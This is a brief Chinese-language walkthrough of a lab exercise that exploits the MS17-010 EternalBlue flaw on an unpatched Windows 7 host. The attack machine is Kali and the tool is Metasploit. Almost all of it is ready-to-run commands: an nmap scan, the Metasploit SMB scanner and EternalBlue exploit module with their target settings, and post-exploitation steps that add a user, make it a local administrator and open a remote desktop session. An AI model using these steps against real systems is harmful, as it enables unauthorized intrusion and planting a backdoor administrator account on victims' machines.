试试MSF的ms17-010永恒之蓝漏洞利用

试验环境

(内网地址)

• -win7（未打补丁开445） 10.77.0.128
• kali 10.77.0.109

首先信息收集，探测

• nmap意思一下

- nmap -sS -P0 -A -v 10.77.0.100

扫描漏洞

• msfconsole 启动

msfconsole

• 加载扫描exp

use auxiliary/scanner/smb/smb_ms17_010

show options

• 设置目标ip

set RHOST 10.77.0.128 

• 运行

run

发现可以利用

---

漏洞利用

• 加载攻击模块

use exploit/windows/smb/ms17_010_eternalblue

• 设置参数

set RHOST 10.77.0.128

• 运行

run

运行成功 进去了

可以直接CMD命令

---

权限很高
直接net user

net user 123 1234 /add（用户名 密码）
net localgroup administrators xxxx /add （将用户设置为管理员权限）

重新打开一个终端

rdesktop+IP